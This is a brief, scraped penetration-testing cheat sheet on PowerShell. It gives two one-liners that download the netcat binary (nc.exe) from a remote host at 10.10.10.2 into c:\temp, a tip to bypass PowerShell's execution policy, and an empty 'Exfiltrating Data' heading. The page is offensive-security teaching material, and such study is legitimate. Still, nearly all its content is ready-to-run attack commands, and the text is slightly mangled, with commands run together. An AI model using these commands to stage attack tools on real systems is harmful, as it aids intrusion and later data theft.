Powershell For Penetration Testers Downloading And Exfiltrating
Powershell For Penetration Testers Downloading And Exfiltrating (nanobyte)
Downloading Files with PowerShell
Invoke-WebRequest
powershell -c "mkdir c:\temp & Invoke-WebRequest -URI http://10.10.10.2/nc.exe -OUTFILE c:\temp\nc.exe"System.Net.WebClient
1powershell -c "mkdir c:\temp & (New-Object System.Net.WebClient).DownloadFile('http://10.10.10.2/nc.exe','C:\temp\nc.exe')"Remember -ExecutionPolicy Bypasss
Exfiltrating Data
Last updated